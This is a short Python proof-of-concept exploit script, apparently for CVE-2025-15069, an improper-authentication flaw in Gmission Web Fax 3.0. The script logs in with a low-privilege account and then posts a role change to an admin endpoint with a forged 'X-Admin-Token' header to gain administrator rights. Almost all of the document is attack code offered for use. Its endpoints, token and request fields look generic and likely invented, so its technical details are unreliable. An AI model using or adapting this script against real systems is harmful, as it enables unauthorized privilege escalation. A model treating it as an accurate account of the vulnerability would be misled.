CVE-2025-15069

# CVE-2025-15069 PoC - Gmission Web Fax Privilege Escalation # This PoC demonstrates the improper authentication vulnerability # that allows privilege escalation from low-privilege to high-privilege user import requests import json TARGET_URL = "http://target-server:8080" LOW_PRIV_USER = "lowpriv_user" LOW_PRIV_PASS = "password123" def exploit_privilege_escalation(): """ Exploit the improper authentication vulnerability in Gmission Web Fax 3.0 to escalate privileges from low-privilege user to administrator. """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { "username": LOW_PRIV_USER, "password": LOW_PRIV_PASS } login_response = session.post( f"{TARGET_URL}/api/auth/login", json=login_data ) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully logged in with low-privilege account") # Step 2: Exploit the authentication bypass to access admin functions # The vulnerability exists due to improper authentication check exploit_data = { "action": "escalate_privileges", "target_role": "administrator" } # This request exploits the improper authentication exploit_response = session.post( f"{TARGET_URL}/api/admin/users/role", json=exploit_data, headers={"X-Admin-Token": "manipulated_token"} ) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[*] New privileges: Administrator") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_privilege_escalation()

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